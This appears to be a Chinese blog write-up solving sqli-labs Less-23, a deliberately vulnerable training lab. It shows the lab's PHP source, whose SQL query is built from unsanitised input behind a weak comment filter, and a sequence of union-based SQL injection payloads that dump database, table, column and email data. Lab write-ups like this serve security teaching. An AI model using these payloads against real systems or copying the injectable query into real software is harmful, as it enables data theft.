[网络安全]sqli-labs Less-23 解题详析

本文涉及的产品
云数据库 RDS MySQL,集群版 2核4GB 100GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
RDS MySQL Serverless 高可用系列,价值2615元额度,1个月
简介: [网络安全]sqli-labs Less-23 解题详析

该题考察基于注释符过滤的sql注入

源代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-23 **Error Based- no comments**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  if($row)
  {
    echo '<font color= "#0000ff">'; 
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
  else 
  {
  echo '<font color= "#FFFF00">';
  print_r(mysql_error());
  echo "</font>";  
  }
}
  else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-23.jpg" /></center>
</body>
</html>

可以看到关键代码:

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

代码审计一下:

//filter the comments out so as to comments should not work
$reg = "/#/";              // 正则表达式规则,用于过滤掉注释符号 #
$reg1 = "/--/";            // 正则表达式规则,用于过滤掉注释符号 --
$replace = "";             // 替换为空字符串,以实现注释的过滤
$id = preg_replace($reg, $replace, $id);     // 使用 preg_replace 过滤 $id 中的注释符号 #
$id = preg_replace($reg1, $replace, $id);   // 使用 preg_replace 过滤 $id 中的注释符号 --
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');         // 打开一个文件 result.txt,以追加写入的方式
fwrite($fp,'ID:'.$id."\n");          // 将 ID 值写入到文件中
fclose($fp);                         // 关闭文件句柄
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";   // 构建 SQL 查询语句,根据过滤后的 $id 查询用户表中的数据
$result=mysql_query($sql);                             // 执行 SQL 查询

也就是说,当我们输入的内容为1' order by 3 --时,查询语句变为

$sql="SELECT * FROM users WHERE id='1' order by 3 --' LIMIT 0,1";

相当于

$sql="SELECT * FROM users WHERE id='1' order by 3;

然而由于#和- -被注释

查询语句实际上是:

$sql="SELECT * FROM users WHERE id='1' order by 3' LIMIT 0,1";

故查询会失败

如何绕过呢?

我们只要使单引号数量匹配即可

例如,我们可以输入?id=0' sql语句 and '1'='1

此时查询语句变为

$sql="SELECT * FROM users WHERE id='?id=0' sql语句 and '1'='1' LIMIT 0,1";

即可成功实现sql注入


判断注入点个数

?id=0' union select 1,2 and '1'='1

注入点个数不为2

接着

?id=0' union select 1,2,3 and '1'='1

成功回显,故注入点个数为3,且位点2在login name上


查库名

?id=0' union select 1,database(),3 and '1'='1

回显库名security


查表名

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

回显四个表名


查列名

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' and '1'='1

回显3个列


查字段

?id=0' union select 1,group_concat(id,email_id),3 from emails where 1=1 and '1'='1


总结

以上为[网络安全]sqli-labs Less-23 解题详析,考察基于注释符过滤的sql注入,进行简单的构造即可。

我是秋说,我们下次见。

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
3月前
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
241 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
3月前
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
169 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
3月前
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
164 0
|
3月前
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
786 0
|
3月前
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
362 0
|
3月前
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
211 0
|
3月前
|
网络安全
[网络安全]sqli-labs Less-26 解题详析
[网络安全]sqli-labs Less-26 解题详析
62 0
|
3月前
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
57 0
|
3月前
|
SQL 网络安全
[网络安全]sqli-labs Less-25a 解题详析
[网络安全]sqli-labs Less-25a 解题详析
42 0
|
4天前
|
SQL 安全 网络安全
网络安全与信息安全:保护数字世界的基石
【8月更文挑战第16天】在数字化时代,网络安全与信息安全的重要性日益凸显。本文将深入探讨网络安全漏洞、加密技术以及安全意识等关键领域,旨在为读者提供全面的知识分享和实践指导。我们将从网络攻击的常见类型及其防御措施出发,进一步讨论加密技术在保障数据安全中的作用,并强调提升个人和企业的安全意识的必要性。通过分析真实案例,本文旨在帮助读者构建更加坚固的网络安全防线,共同守护我们的数字生活。